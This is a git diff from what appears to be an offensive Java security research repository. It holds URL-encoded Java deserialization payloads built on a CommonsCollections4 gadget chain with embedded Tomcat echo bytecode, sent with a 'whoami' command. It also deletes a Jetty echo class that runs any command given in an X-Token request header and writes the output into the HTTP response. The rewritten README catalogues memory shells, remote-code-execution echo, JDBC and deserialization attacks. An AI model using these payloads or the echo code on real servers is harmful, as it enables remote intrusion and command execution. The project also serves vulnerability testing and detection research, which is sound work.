9yJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAHm9yZy9wcHAvdG9vbHMvc2VyL0NDNEdlbmVyYXRvcgAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADcADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AAZhbnlzdHJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA%3D%3D +# tomcat +cmd=whoami&base64Str=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci%2F5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB%2BAAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo%2FpQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H%2BkhtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX%2BAYIVOACAAB4cAAAFVfK%2Frq%2BAAAANAEtCgAgAKcKAKgAqQoAqACqCgAgAKsIAHYKAB4ArAoArQCuCgCtAK8HAHcKAKgAsAgAsQoAIwCyCACzCAC0CAC1CAC2CAC3CAC4CABrCgBQALkIALoIAG0IAG4IAG8HALsLABkAvAsAGQC9CABhCAC%2BBwC%2FCgAeAMAHAMEKAMIAwwgAxAcAxQkAUADGCABkCgBQAMcIAMgJAFAAyQoAIADKCADLCQDMAM0KAMwAzggAzwcA0AoAHgDRCgAjANIKAC4A0wcA1AgA1QoAHgDWCgAeANcIANgHAJAHANkIANoKANsA3AoAIwDdCADeCADfCADgCADhCADiCgDjAOQKAOMA5QoA5gDnCgBQAOgHAOkKAEUApwoA6gDrCgAjAOwKAEUA7QoARQDKCgBQAO4HAO8KAB4A8AgA8QgAhgcA8gEABkhFQURFUgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABVBBUkFNAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABXBhcmFtAQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEACWJ5dGVDaHVuawEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAlwcm9jZXNzb3IBAANyZXEBAAhyZXNwb25zZQEABmhlYWRlcgEACnBhcmFtZXRlcnMBAAZyZXN1bHQBAAFqAQABSQEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEACnRocmVhZE5hbWUBAAZ0YXJnZXQBAAV0aGlzMAEAB2hhbmRsZXIBAAZnbG9iYWwBAApwcm9jZXNzb3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBAAR0aGlzAQAaTGNvbS9kZW1vL2VjaG8vVG9tY2F0RWNobzsBAA1TdGFja01hcFRhYmxlBwDyBwDzBwD0BwD1BwDFBwDBBwC7BwDUBwDZAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAA3N0cgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07BwCHAQAKRXhjZXB0aW9ucwEAC2V4ZWNfcmVzdWx0AQApKExqYXZhL2lvL0lucHV0U3RyZWFtOylMamF2YS9sYW5nL1N0cmluZzsBAAVieXRlcwEAAltCAQADbGVuAQANc3RyaW5nQnVpbGRlcgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsHAOkHAPYBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAANvYmoBAAlmaWVsZE5hbWUBAAhnZXRGaWVsZAEAPihMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQACZXgBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo%2BOwcAvwcA7wEACVNpZ25hdHVyZQEAQShMamF2YS9sYW5nL0NsYXNzPCo%2BO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAPVG9tY2F0RWNoby5qYXZhDABUAFUHAPUMAPcA%2BAwA%2BQD6DAD7APwMAP0A%2FgcA9AwA%2FwEADAEBAQIMAQMBBAEACGh0dHAtbmlvDAEFAQYBAAhodHRwLWFwcgEABlBvbGxlcgEACGh0dHAtYmlvAQAMQXN5bmNUaW1lb3V0AQAFaHR0cC0BAAhBY2NlcHRvcgwAlgCXAQAGdGhpcyQwAQAOamF2YS91dGlsL0xpc3QMAQcBCAwBAQEJAQALZ2V0UmVzcG9uc2UBAA9qYXZhL2xhbmcvQ2xhc3MMAQoBCwEAEGphdmEvbGFuZy9PYmplY3QHAQwMAQ0BDgEACWdldEhlYWRlcgEAEGphdmEvbGFuZy9TdHJpbmcMAFEAUgwAhACFAQAMZ2V0UGFyYW1ldGVyDABTAFIMAQ8BBAEACXNldFN0YXR1cwcBEAwBEQBbDAESARMBAAdkb1dyaXRlAQATamF2YS9uaW8vQnl0ZUJ1ZmZlcgwBFAELDAEVARYMARcBGAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsMARkBGgwBGwEcAQAIc2V0Qnl0ZXMBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAHb3MubmFtZQcBHQwBHgCFDAEfAQQBAAN3aW4BAAdjbWQuZXhlAQACL2MBAAcvYmluL3NoAQACLWMHASAMASEBIgwAhAEjBwEkDAElASYMAI0AjgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwD2DAEnASgMAFQBKQwBKgErDACaAJsBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MASwA%2FAEAB1gtVG9rZW4BABhjb20vZGVtby9lY2hvL1RvbWNhdEVjaG8BABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAEGphdmEvbGFuZy9UaHJlYWQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEABHNpemUBAAMoKUkBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIdG9TdHJpbmcBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEAEWdldERlY2xhcmVkTWV0aG9kAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAEd3JhcAEAGShbQilMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAcoW0JJSSlWAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQANZ2V0U3VwZXJjbGFzcwAhAFAAIAAAAAIACgBRAFIAAAAKAFMAUgAAAAYAAQBUAFUAAQBWAAAEzAAGABYAAAJAKrcAAbgAArYAA0wrtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2%2BogIOLRUEMjoFGQXHAAanAfoZBbYACjoGGQYSC7YADJoADRkGEg22AAyZAA0ZBhIOtgAMmgAuGQYSD7YADJkADRkGEhC2AAyaABoZBhIRtgAMmQG3GQYSErYADJoABqcBqhkFEhO4ABQ6BxkHEhW4ABQ6CBkIEha4ABQ6CRkJEhe4ABQ6ChkKEhi4ABTAABk6CwM2DBUMGQu5ABoBAKIBaxkLFQy5ABsCADoNGQ0SHLgAFDoOGQ62AAQSHQO9AB62AB8ZDgO9ACC2ACE6DxkOtgAEEiIEvQAeWQMSI1O2AB8ZDgS9ACBZA7IAJFO2ACE6EBkOEiW4ABQ6EQE6EhkQxgAQGRDAACO4ACY6EqcANhkRxgAxGRG2AAQSJwS9AB5ZAxIjU7YAHxkRBL0AIFkDsgAoU7YAIbYAKToTGRO4ACY6EhkPtgAEEioEvQAeWQOyACtTtgAfGQ8EvQAgWQMRAMi4ACxTtgAhVxkPtgAEEi0EvQAeWQMSLlO2AC8ZDwS9ACBZAxkStgAwuAAxU7YAIVenAHY6ExIzuAA0OhQZFLYANToVGRQSNga9AB5ZAxI3U1kEsgArU1kFsgArU7YALxkVBr0AIFkDGRK2ADBTWQQDuAAsU1kFGRK2ADC%2BuAAsU7YAIVcZD7YABBItBL0AHlkDGRRTtgAfGQ8EvQAgWQMZFVO2ACFXsYQEAaf98acABEyxAAMBlgG%2BAcEAMgAEAjQCPgA4AjUCOwI%2BADgAAwBXAAAAtgAtAAAAHQAEAB8ACwAgABUAIQAaACIAJgAkADAAJgA2ACcAOwAoAD4AKQBFACoASQArAGcALAB7AC0AiwAvAI4AMQCXADIAoAAzAKkANACyADUAvgA3AM0AOADYADkA4QA6APoAOwEeADwBJwA%2BASoAPwEvAEABPABBAUEAQgFoAEMBbwBHAZYASQG%2BAE8BwQBKAcMASwHKAEwB0QBNAhIATgI0AFACNQAkAjsAVQI%2BAFQCPwBWAFgAAADoABcBaAAHAFkAUgATAcoAagBaAFsAFAHRAGMAXABdABUBwwBxAF4AXwATANgBXQBgAF0ADQDhAVQAYQBdAA4A%2BgE7AGIAXQAPAR4BFwBjAF0AEAEnAQ4AZABdABEBKgELAGUAUgASAMEBdABmAGcADAA2Af8AaABpAAUARQHwAGoAUgAGAJcBngBrAF0ABwCgAZUAbABdAAgAqQGMAG0AXQAJALIBgwBuAF0ACgC%2BAXcAbwBwAAsAKQISAHEAZwAEAAsCMAByAHMAAQAVAiYAdAB1AAIAJgIVAHYAdwADAAACQAB4AHkAAAB6AAAAuAAP%2FwApAAUHAHsHAHwHAH0HAAkBAAD8ABQHAH78ABoHAH8JExb%2FADIADQcAewcAfAcAfQcACQEHAH4HAH8HAIAHAIAHAIAHAIAHAIEBAAD%2FAHoAEwcAewcAfAcAfQcACQEHAH4HAH8HAIAHAIAHAIAHAIAHAIEBBwCABwCABwCABwCABwCABwB%2FAAAy9wBRBwCC%2BwBy%2FwAAAAUHAHsHAHwHAH0HAAkBAAD%2FAAUAAQcAewAAQgcAgwAACQCEAIUAAgBWAAAAsAAEAAMAAABJEjm4ADq2ADsSPLYADJkAGQa9ACNZAxI9U1kEEj5TWQUqU0ynABYGvQAjWQMSP1NZBBJAU1kFKlNMuABBK7YAQrYAQ00suABEsAAAAAMAVwAAABYABQAAAFoAEABbACYAXQA5AF8ARABgAFgAAAAqAAQAIwADAIYAhwABAAAASQCIAFIAAAA5ABAAhgCHAAEARAAFAIkAigACAHoAAAAJAAIm%2FAASBwCLAIwAAAAEAAEAOAAJAI0AjgACAFYAAACrAAYABAAAADARBAC8CEy7AEVZtwBGTiortgBHWT0CnwAVLbsAI1krAxy3AEi2AElXp%2F%2FmLbYASrAAAAADAFcAAAAWAAUAAABkAAYAZgAOAGcAGQBoACsAagBYAAAAKgAEAAAAMACJAIoAAAAGACoAjwCQAAEAFQAbAJEAZwACAA4AIgCSAJMAAwB6AAAAHQAC%2FgAOBwA3AAcAlP8AHAAEBwCVBwA3AQcAlAAAAIwAAAAEAAEAOAAJAJYAlwACAFYAAABRAAIAAwAAAA8qtgAEK7gAS00sKrYACLAAAAACAFcAAAAKAAIAAABuAAkAbwBYAAAAIAADAAAADwCYAF0AAAAAAA8AmQBSAAEACQAGAHQAdQACAIwAAAAEAAEAOAAJAJoAmwACAFYAAAC9AAIABAAAACMBTSortgAGTSwEtgAHpwAUTiq2AE3GAAwqtgBNK7gAS00ssAABAAIADQAQAEwABABXAAAAIgAIAAAAcwACAHUACAB2AA0AegAQAHcAEQB4ABgAeQAhAHsAWAAAACoABAARABAAnACdAAMAAAAjAFoAWwAAAAAAIwCZAFIAAQACACEAdAB1AAIAngAAAAwAAQAAACMAWgCfAAAAegAAABYAAv8AEAADBwCgBwB%2FBwB9AAEHAKEQAKIAAAACAKMACACkAFUAAQBWAAAAJwABAAAAAAALEk6zACQST7MAKLEAAAABAFcAAAAKAAIAAAAaAAUAGwABAKUAAAACAKZ1cQB%2BAB8AAAHWyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACRMb3JnL3BwcC90b29scy9zZXIvQ0M0R2VuZXJhdG9yJEZvbzsBAApTb3VyY2VGaWxlAQARQ0M0R2VuZXJhdG9yLmphdmEMAAoACwcAGgEAIm9yZy9wcHAvdG9vbHMvc2VyL0NDNEdlbmVyYXRvciRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB5vcmcvcHBwL3Rvb2xzL3Nlci9DQzRHZW5lcmF0b3IAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAGYW55c3RycHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwdwQAAAADc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFxAH4AKXg%3D \ No newline at end of file diff --git a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java b/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java deleted file mode 100644 index f6c7d1d..0000000 --- a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java +++ /dev/null @@ -1,130 +0,0 @@ -package org.example.jetty.gadget; - -import java.lang.reflect.Field; - -/** - * @author Whoopsunix - *

- * TargetObject = {java.lang.Thread} - * ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} - * ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} - * ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} - * ---> value = {org.eclipse.jetty.server.AsyncHttpConnection} - * ---> _request = {org.eclipse.jetty.server.Request} - * idea_express: TargetObject.threadLocals.get("table").get("13").get("value")._request - *

- * Vsersion test - * 7.x、8.x、9.x、10.x - */ -public class JettyEcho { - static { - try { - Object threadLocals = getFieldValue(Thread.currentThread(), "threadLocals"); - Object[] table = (Object[]) getFieldValue(threadLocals, "table"); - boolean isEcho = false; - for (int i = 0; i < table.length; i++) { - Object entry = table[i]; - if (entry == null || isEcho) - continue; - Object value = getFieldValue(entry, "value"); - if (value == null) - continue; - // Jetty 7、8 - if (value.getClass().getName().equals("org.eclipse.jetty.server.AsyncHttpConnection")) { - Object request = getFieldValue(value, "_request"); - // writer 为 null 实际还是赋值为 AbstractHttpConnection -// Object response = getFieldValue(value, "_response"); - String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "X-Token"); - if (header == null && header.isEmpty()) { - continue; - } - - String result = exec(header); - - Object printWriter; - try { - printWriter = value.getClass().getDeclaredMethod("getPrintWriter", String.class).invoke(value, "utf-8"); - } catch (NoSuchMethodException e) { - printWriter = value.getClass().getSuperclass().getDeclaredMethod("getPrintWriter", String.class).invoke(value, "utf-8"); - } - - try { - printWriter.getClass().getDeclaredMethod("println", String.class).invoke(printWriter, result); - } catch (NoSuchMethodException e) { - printWriter.getClass().getSuperclass().getDeclaredMethod("println", String.class).invoke(printWriter, result); - } - - isEcho = true; - } else if (value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) { - // Jetty 9、10 - // org.eclipse.jetty.server.HttpConnection$HttpChannelOverHttp 类似 省去几个步骤 - Object channel = getFieldValue(value, "_channel"); - Object request = getFieldValue(channel, "_request"); - Object response = getFieldValue(channel, "_response"); - String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "X-Token"); - String result = exec(header); - - Object writer = response.getClass().getDeclaredMethod("getWriter").invoke(response); - try{ - writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, result); - } catch (NoSuchMethodException e){ - writer.getClass().getSuperclass().getDeclaredMethod("println", String.class).invoke(writer, result); - } - - isEcho = true; - } else if (value.getClass().getName().contains("org.eclipse.jetty.server.nio.SelectChannelConnector")) { - // Jetty 7 低版本 - Object request = getFieldValue(value, "_request"); - Object response = getFieldValue(value, "_response"); - String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "X-Token"); - String result = exec(header); - - Object writer = response.getClass().getDeclaredMethod("getWriter").invoke(response); - try{ - writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, result); - } catch (NoSuchMethodException e){ - writer.getClass().getSuperclass().getDeclaredMethod("println", String.class).invoke(writer, result); - } - - } - } - } catch (Exception e) { - - } - } - - public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { - final Field field = getField(obj.getClass(), fieldName); - return field.get(obj); - } - - public static Field getField(final Class clazz, final String fieldName) { - Field field = null; - try { - field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - } catch (NoSuchFieldException ex) { - if (clazz.getSuperclass() != null) - field = getField(clazz.getSuperclass(), fieldName); - } - return field; - } - - public static String exec(String str) { - String result = ""; - try { - String[] cmd = null; - String os = System.getProperty("os.name").toLowerCase(); - if (os.contains("win")) { - cmd = new String[]{"cmd.exe", "/c", str}; - } else { - cmd = new String[]{"/bin/sh", "-c", str}; - } - result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - } catch (Exception e) { - - } - return result; - } - -} diff --git a/README.md b/README.md index 9eae713..d789d0b 100644 --- a/README.md +++ b/README.md @@ -1,260 +1,31 @@ -# JavaRceDemo +# JavaRce By. Whoopsunix # 0x00 do what? -🚀 记录贴 对照实战场景梳理较通用的 Java Rce 相关漏洞的利用方式或知识点 +🚀 对照实战场景梳理较通用的 Java Rce 相关漏洞的利用方式 记录在 [VulnCore](SecVulns/VulnCore) 中,参考 [cwe](https://cwe.mitre.org) 标准构建 -🚩 对于实际环境遇到过的组件如有必要会针对可利用版本进行一个梳理 慢更 +🚩 子目录 [VulnCore](SecVulns/VulnCore) 给出 Java 利用方式,具体覆盖量见对应 README.md 文件 -🚧 长期项目 不定期学习后更新...... +⛳️ 配套测试靶场 [SecVulns](SecVulns) 主要针对 DevSecOps 场景构建(IAST、RASP、SAST),采用 [httpREST](SecVulns/SecVulnsREST) 实现批量测试。大多数 Java 靶场都把注意力集中在 Spring、Tomcat 组件上,之后会引入更多组件丰富 Source 点 -[//]: # (🛰️ 部分利用已经集成在二开 [ysoserial](https://github.com/Whoopsunix/ysoserial) 项目中) +🪝 EXP: 反序列化框架 [PPPYSO](https://github.com/Whoopsunix/PPPYSO) 集成了部分内容 -🪝 [PPPRASP](https://github.com/Whoopsunix/PPPRASP) 项目中对本项目给出的漏洞实现防护(仅实现关键函数的 HOOK,不作进一步处理) +🚧 Protection: [PPPRASP](https://github.com/Whoopsunix/PPPRASP) 基于 [jvm-sandbox](https://github.com/alibaba/jvm-sandbox) 对 VulnCore 中的漏洞实现防护(仅实现关键函数的 HOOK,不作进一步处理) -## 目录 +🛰 Detection: 基于 [joern](https://github.com/joernio/joern) 实现漏洞检测 -- [0x01 RceEcho & MemShell](#0x01-rceecho--memshell) - - [Tomcat](#tomcat) - - [Spring](#spring) - - [Jetty](#jetty) - - [Undertow](#undertow) - - [Resin](#resin) - - [OS](#osecho) -- [0x02 命令执行](#0x02-command) - - [执行Demo,java jsp](#执行demo) - - [执行结果输出(InputStream 处理Demo)](#执行结果输出inputstream-处理demo) -- [0x03 表达式注入](#0x03-expression-inject) - - [OGNL](#ognl) - - [EL](#el) - - [SPEL](#spel) - - [JxPath](#jxpath) -- [0x04 JDBC Attack](#0x04-jdbc-attack) - - Mysql、PostgreSQL、H2database、IBMDB2、ModeShape、Apache Derby、Sqlite、dameng 达梦、Oracle、teradata -- [0x05 Serialization](#0x05-serialization) - - [类加载](#class-load) - - [XMLSerialization](#xmlserialization) - - [JavaBean](#jarbean) - - [XStream](#xstream) - - [构造方法利用](#constructorexp) -- [0x06 文件读写 Demo](#0x06-文件读写-demo) -- [鸣谢](#Thanks) +# PS -# 0x01 [RceEcho & MemShell](MemShellAndRceEcho) +因为是漏洞测试环境,难免会引入部分没法直接拉取的依赖(太老了中央仓库移除、或者没有魔法上网) -命令执行回显目前是通过 [java-object-searcher](https://github.com/c0ny1/java-object-searcher) 工具写的,版本适配还没做,之后再优化,本项目主要给出反序列化 demo,jsp 的例子可以参考 [Java-Rce-Echo](https://github.com/feihong-cs/Java-Rce-Echo)。 +可以到 https://mvnrepository.com/ 手动下载 jar 包到本地 maven 仓库 - - -对于内存马来说,请求处理接口 Servlet、Filter、Listener、Value 之类的请求处理接口都是通用的,变的其实是获取不同组件上下文的方式,因此可以将代码抽象为 注入器+功能实现 两部分来实现内存马。目前还没有将分开的例子给出来,还在写工具测试。 - - - -反序列化的测试可以直接用 Rest Client [MemShell.http](MemShell.http) 发包,比较方便。 - -## Tomcat - -内存马这部分知识点推荐看 [beichen 师傅的内存马Demo](https://github.com/BeichenDream/GodzillaMemoryShellProject) 写的很好,用到了动态代理的方式实现功能,很好的兼容了 javax 和 jakarta api 规范。 - -| Tomcat | | | -| ---------- | ------ | -------- | -| 内存马类型 | Loader | 测试版本 | -| Filter | Thread | 6 7 8 9 | -| | JMX | 7 8 9 | -| | WebApp | 8 9 | -| Servlet | Thread | 7 8 9 | -| | JMX | 7 8 9 | -| | WebApp | 8 9 | -| Listener | Thread | 6-11 | -| | JMX | 7 8 9 | -| | WebApp | 8 9 | -| | | | -| RceEcho | Thread | | - -## Spring - -| Springboot2 | | | -| ----------- | --------------------- | -------------- | -| 内存马类型 | Loader | 测试版本 | -| Controller | WebApplicationContext | [2.2.x, 2.7.x] | -| | | | -| RceEcho | WebApplicationContext | [2.2.x, 2.7.x] | - -## Jetty - -| Jetty | | | -| ------- | ------ | -------------------------- | -| RceEcho | Thread | 7.x、8.x、9.x、10.x 全版本 | - -## Undertow - -WildFly 默认容器用的 Undertow - -| Undertow | | | -| ---------- | ------ | ------------ | -| 内存马类型 | Loader | 测试版本 | -| Listener | Thread | 2.2.25.Final | -| Filter | Thread | 2.2.25.Final | -| Servlet | Thread | 2.2.25.Final | -| | | | -| RceEcho | Thread | 2.2.25.Final | - -## Resin - -| Resin | | | -| ---------- | ------ | ---------------- | -| 内存马类型 | Loader | 测试版本 | -| Listener | Thread | [4.0.52, 4.0.66] | -| Servlet | Thread | [4.0.52, 4.0.66] | -| Filter | Thread | [4.0.52, 4.0.66] | -| | | | -| RceEcho | Thread | [4.0.52, 4.0.66] | - -## OSEcho - -- windows -- linux - -# 0x02 [Command](Command) - -## [执行Demo](Command) - -命令执行是参考 [javaweb-sec](https://github.com/javaweb-sec/javaweb-sec) 项目复现的 - -- Runtime -- ProcessBuilder -- ProcessImpl -- ProcessImpl & UnixProcess -- ProcessImpl & UnixProcess by unsafe - Native -- Thread -- ScriptEngine -- jni - -## [执行结果输出(InputStream 处理Demo)](Command) - -- java.lang.StringBuilder -- java.io.ByteArrayOutputStream -- java.util.Scanner -- java.io.BufferedReader -- java.io.InputStream.readNBytes > JDK 9 -- org.springframework:spring-core -- org.apache.commons:commons-io - -# 0x03 [Expression inject](Expression) - -表达式注入可以看 https://github.com/yzddmr6/Java-Js-Engine-Payloads ,这部分知识笔记比较分散,还没整理进来。 - -## [OGNL](Expression/OGNLAttack) - -- 